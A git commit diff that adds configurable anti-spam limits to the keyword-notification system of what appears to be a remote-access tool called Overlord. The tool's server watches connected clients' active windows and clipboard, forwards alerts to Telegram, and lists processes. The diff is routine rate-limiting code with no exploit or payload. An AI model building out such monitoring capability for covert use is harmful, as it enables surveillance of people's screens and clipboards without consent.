show running process in process viewer and add limiting to the notification system

This commit is contained in:
KingKDot
2026-05-16 23:19:46 -05:00
parent e2ef4a375f
commit d691c5b804
11 changed files with 207 additions and 3 deletions
+18
View File
@@ -41,6 +41,9 @@ export interface Config {
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
antiSpamMaxHits: number;
antiSpamWindowMs: number;
antiSpamCooldownMs: number;
};
security: {
sessionTtlHours: number;
@@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = {
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
antiSpamMaxHits: 15,
antiSpamWindowMs: 600000,
antiSpamCooldownMs: 600000,
},
security: {
sessionTtlHours: 168,
@@ -438,6 +444,18 @@ export function loadConfig(): Config {
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
antiSpamMaxHits:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
fileConfig.notifications?.antiSpamMaxHits ||
DEFAULT_CONFIG.notifications.antiSpamMaxHits,
antiSpamWindowMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
fileConfig.notifications?.antiSpamWindowMs ||
DEFAULT_CONFIG.notifications.antiSpamWindowMs,
antiSpamCooldownMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
fileConfig.notifications?.antiSpamCooldownMs ||
DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
},
security: {
sessionTtlHours:
+1
View File
@@ -232,6 +232,7 @@ export type ProcessInfo = {
memory: number;
username?: string;
type?: string;
self?: boolean;
};
export type ProcessListResult = {
@@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes(
}
}
const antiSpamMaxHits =
typeof body?.antiSpamMaxHits === "number"
? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits)))
: currentConfig.antiSpamMaxHits;
const antiSpamWindowMs =
typeof body?.antiSpamWindowMs === "number"
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs)))
: currentConfig.antiSpamWindowMs;
const antiSpamCooldownMs =
typeof body?.antiSpamCooldownMs === "number"
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs)))
: currentConfig.antiSpamCooldownMs;
const updated = await updateNotificationsConfig({
keywords,
webhookEnabled,
@@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes(
telegramBotToken,
telegramChatId,
clipboardEnabled,
antiSpamMaxHits,
antiSpamWindowMs,
antiSpamCooldownMs,
});
for (const client of clientManager.getAllClients().values()) {
@@ -33,6 +33,12 @@ type NotificationRateState = {
lastWarned: number;
};
type AntiSpamState = {
hits: number;
windowStart: number;
blockedUntil: number;
};
type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
@@ -45,6 +51,9 @@ type NotificationConfigShape = {
spamWindowMs?: number;
spamWarnThreshold?: number;
historyLimit?: number;
antiSpamMaxHits?: number;
antiSpamWindowMs?: number;
antiSpamCooldownMs?: number;
};
type CreateDeps = {
@@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
}
export function createNotificationPluginHandlers(deps: CreateDeps) {
const antiSpamState = new Map<string, AntiSpamState>();
const pluginUIEventBuffer = new Map<string, Array<{ event: string; payload: any; ts: number }>>();
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
@@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return true;
}
function checkAntiSpam(key: string, ts: number): boolean {
const notificationConfig = deps.getNotificationConfig();
const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15);
const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
const state = antiSpamState.get(key);
if (state) {
if (ts < state.blockedUntil) {
return false;
}
if (ts - state.windowStart > windowMs) {
state.windowStart = ts;
state.hits = 1;
state.blockedUntil = 0;
antiSpamState.set(key, state);
return true;
}
state.hits += 1;
if (state.hits > maxHits) {
state.blockedUntil = ts + cooldownMs;
logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`);
antiSpamState.set(key, state);
return false;
}
antiSpamState.set(key, state);
return true;
}
antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 });
return true;
}
function pruneNotificationRate() {
const notificationConfig = deps.getNotificationConfig();
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
@@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2;
for (const [key, state] of antiSpamState) {
if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) {
antiSpamState.delete(key);
}
}
}
setInterval(pruneNotificationRate, 60_000);
@@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
if (!shouldAcceptNotification(rateKey, ts)) {
return;
}
const antiSpamKey = `${clientId}:${keyword || title}`;
if (!checkAntiSpam(antiSpamKey, ts)) {
return;
}
const info = clientManager.getClient(clientId);
const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
@@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
for (const key of Array.from(antiSpamState.keys())) {
if (key === clientId || key.startsWith(`${clientId}:`)) {
antiSpamState.delete(key);
}
}
const item = { type: "notifications_cleared", clientId, ts: Date.now() };
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";